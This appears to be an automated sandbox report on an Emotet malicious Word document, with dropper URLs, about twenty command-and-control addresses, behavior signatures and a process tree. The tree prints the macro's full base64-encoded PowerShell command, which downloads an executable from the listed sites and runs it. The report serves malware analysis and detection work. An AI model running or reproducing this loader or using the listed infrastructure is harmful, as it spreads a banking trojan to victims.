Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    140s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    23/09/2020, 15:34

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e1_a51cefe51ab64074caa6bc9eafe9cd5b906e3820e33ace5397b6bb0e43f55c1a_2020-09-23__153158831223._doc.doc
  • Size 160KB
  • Sample200923-azfpyh56ls
  • SHA256 a51cefe51ab64074caa6bc9eafe9cd5b906e3820e33ace5397b6bb0e43f55c1a
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://khobormalda.com/wp-content/82/
  • exe.dropper

    http://blog.zunapro.com/wp-admin/LEE/
  • exe.dropper

    http://megasolucoesti.com/R9KDq0O8w/Y/
  • exe.dropper

    https://online24h.biz/wp-admin/K/
  • exe.dropper

    https://fepami.com/wp-includes/eaI/
  • exe.dropper

    http://ora-ks.com/system/cache/w/
  • exe.dropper

    http://padamagro.com/wp-admin/Nc/

Extracted

Family

  • emotet

C2

  • 70.116.143.84:80

  • 51.75.33.127:80

  • 37.157.196.117:7080

  • 116.202.23.3:8080

  • 187.162.248.237:80

  • 204.225.249.100:7080

  • 67.247.242.247:80

  • 192.241.146.84:8080

  • 178.250.54.208:8080

  • 188.135.15.49:80

  • 77.238.212.227:80

  • 152.169.22.67:80

  • 186.103.141.250:443

  • 82.76.111.249:443

  • 213.197.182.158:8080

  • 201.213.177.139:80

  • 74.136.144.133:80

  • 72.47.248.48:7080

  • 51.38.124.206:80

  • 190.24.243.186:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a51cefe51ab64074caa6bc9eafe9cd5b906e3820e33ace5397b6bb0e43f55c1a_2020-09-23__153158831223._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1332
  • C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
    POWeRsHeLL -ENCOD JABCADQAegBtAGEAMQBiAD0AKAAoACcAVAAnACsAJwB5AHUAJwApACsAJwBhAHYAJwArACcAYwBoACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUAbgBWADoAdQBTAEUAcgBQAFIATwBGAEkAbABFAFwASAB5AHUAOQBoAFYAMwBcAE0AZgBOAFgATwAzAHcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBDAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAGMAVQByAGkAdAB5AHAAYABSAG8AYABUAE8AQwBPAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAyACcAKwAnACwAIAB0ACcAKQArACcAbAAnACsAKAAnAHMAJwArACcAMQAxACwAIAAnACkAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAFIAYwBkAHgAaQBjADgAIAA9ACAAKAAnAFgAJwArACgAJwA5AG8AJwArACcAdQAnACsAJwBxAGYAdAAnACkAKQA7ACQAQwB5AG8AdQBjAHAAZgA9ACgAJwBMAGYAJwArACgAJwB2AHAAJwArACcAbgB1AHQAJwApACkAOwAkAEUANwAyADcAMQBxAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0ASAB5AHUAOQBoAHYAMwAnACsAJwB7ADAAfQBNAGYAJwArACcAbgAnACsAJwB4ACcAKwAnAG8AMwB3AHsAMAB9ACcAKQAgAC0AZgBbAGMASABhAFIAXQA5ADIAKQArACQAUgBjAGQAeABpAGMAOAArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFEAZgBoAHQAYQAzAHQAPQAoACgAJwBaACcAKwAnADAAMgBxACcAKQArACcAbwBjACcAKwAnAHIAJwApADsAJABYAGcAdAA2AGkAMwB3AD0AJgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAEMAbABpAGUAbgB0ADsAJABWADUAaABqAGMAeQAxAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAoACcAcAA6AC8AJwArACcALwAnACkAKwAnAGsAJwArACgAJwBoAG8AJwArACcAYgBvACcAKwAnAHIAbQAnACsAJwBhAGwAZABhACcAKQArACgAJwAuACcAKwAnAGMAbwAnACkAKwAnAG0AJwArACcALwAnACsAKAAnAHcAcAAnACsAJwAtAGMAbwBuAHQAZQAnACsAJwBuACcAKQArACcAdAAvACcAKwAnADgAJwArACcAMgAvACcAKwAnACoAaAAnACsAKAAnAHQAdABwACcAKwAnADoAJwArACcALwAvAGIAJwApACsAKAAnAGwAJwArACcAbwBnACcAKQArACcALgB6ACcAKwAoACcAdQBuAGEAcAAnACsAJwByACcAKQArACgAJwBvAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AdwBwAC0AJwApACsAKAAnAGEAJwArACcAZABtACcAKQArACcAaQAnACsAJwBuAC8AJwArACgAJwBMACcAKwAnAEUARQAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAbQAnACsAJwBlAGcAYQBzACcAKQArACgAJwBvAGwAdQAnACsAJwBjAG8AJwApACsAJwBlACcAKwAnAHMAJwArACgAJwB0AGkAJwArACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AJwArACcAUgA5ACcAKwAoACcASwBEAHEAMABPACcAKwAnADgAJwApACsAJwB3ACcAKwAnAC8AJwArACgAJwBZAC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcABzACcAKwAnADoALwAvAG8AJwApACsAJwBuACcAKwAoACcAbABpACcAKwAnAG4AZQAyADQAaAAuACcAKQArACcAYgBpACcAKwAoACcAegAnACsAJwAvAHcAJwArACcAcAAtAGEAZABtACcAKwAnAGkAbgAvACcAKQArACcASwAvACcAKwAoACcAKgBoAHQAdAAnACsAJwBwAHMAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACcAZgAnACsAJwBlAHAAJwArACgAJwBhAG0AJwArACcAaQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAJwApACsAJwBwAC0AJwArACgAJwBpAG4AYwAnACsAJwBsAHUAZABlACcAKwAnAHMAJwApACsAKAAnAC8AZQBhACcAKwAnAEkALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAnAHQAJwArACgAJwBwADoALwAnACsAJwAvAG8AJwApACsAJwByACcAKwAnAGEAJwArACcALQAnACsAKAAnAGsAcwAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAHMAJwApACsAJwB5AHMAJwArACcAdABlACcAKwAoACcAbQAvACcAKwAnAGMAYQBjACcAKQArACgAJwBoACcAKwAnAGUALwAnACkAKwAoACcAdwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcAAnACkAKwAnAGEAJwArACcAZABhACcAKwAoACcAbQAnACsAJwBhAGcAJwApACsAKAAnAHIAbwAuACcAKwAnAGMAJwArACcAbwBtAC8AdwAnACkAKwAoACcAcAAtACcAKwAnAGEAZAAnACkAKwAoACcAbQBpAG4AJwArACcALwAnACkAKwAnAE4AYwAnACsAJwAvACcAKQAuACIAcwBwAEwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGQAagBuAGwAcgBsAD0AKAAoACcATgB5AHUAcABzACcAKwAnADMAJwApACsAJwBiACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0ANABzAHkAaABfAGQAIABpAG4AIAAkAFYANQBoAGoAYwB5ADEAKQB7AHQAcgB5AHsAJABYAGcAdAA2AGkAMwB3AC4AIgBEAG8AdwBuAEwAYABvAEEAZABgAEYASQBgAGwARQAiACgAJABNADQAcwB5AGgAXwBkACwAIAAkAEUANwAyADcAMQBxAGMAKQA7ACQASwA1ADkAawAwAF8AdgA9ACgAKAAnAEQAXwB3ACcAKwAnAGUAeQAnACkAKwAnAHoAdAAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARQA3ADIANwAxAHEAYwApAC4AIgBMAGAARQBuAEcAVABIACIAIAAtAGcAZQAgADIANwA3ADUANgApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABFADcAMgA3ADEAcQBjACkAOwAkAFEAZgBrAGsAZwBqAGcAPQAoACcAVwAnACsAKAAnAF8AbQAnACsAJwBpACcAKQArACgAJwBkACcAKwAnADgAaAAnACkAKQA7AGIAcgBlAGEAawA7ACQASwBiAHUAZgBoADAAawA9ACgAJwBYAGgAJwArACgAJwBtADYAJwArACcAZwB4ADYAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAMgA2AHcAMwBiAGgAPQAoACgAJwBUACcAKwAnAHEAYwBfAGkAJwApACsAJwBlAGIAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Users\Admin\Hyu9hv3\Mfnxo3w\X9ouqft.exe
      "C:\Users\Admin\Hyu9hv3\Mfnxo3w\X9ouqft.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1936
      • C:\Windows\SysWOW64\regsvr32\rsaenh.exe
        "C:\Windows\SysWOW64\regsvr32\rsaenh.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1104

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1104-21-0x0000000000230000-0x0000000000240000-memory.dmp
        Download

        memory/1104-20-0x0000000000250000-0x0000000000262000-memory.dmp
        Download

        memory/1332-5-0x0000000006E50000-0x0000000007050000-memory.dmp
        Download

        memory/1332-2-0x00000000088F0000-0x00000000088F4000-memory.dmp
        Download

        memory/1456-22-0x000007FEF7400000-0x000007FEF767A000-memory.dmp
        Download

        memory/1656-12-0x000000001C340000-0x000000001C341000-memory.dmp
        Download

        memory/1656-11-0x000000001B5F0000-0x000000001B5F1000-memory.dmp
        Download

        memory/1656-10-0x000000001A900000-0x000000001A901000-memory.dmp
        Download

        memory/1656-9-0x0000000002740000-0x0000000002741000-memory.dmp
        Download

        memory/1656-8-0x000000001ABC0000-0x000000001ABC1000-memory.dmp
        Download

        memory/1656-7-0x0000000002460000-0x0000000002461000-memory.dmp
        Download

        memory/1656-6-0x000007FEEA850000-0x000007FEEB23C000-memory.dmp
        Download

        memory/1936-15-0x0000000000230000-0x0000000000242000-memory.dmp
        Download

        memory/1936-16-0x0000000000250000-0x0000000000260000-memory.dmp
        Download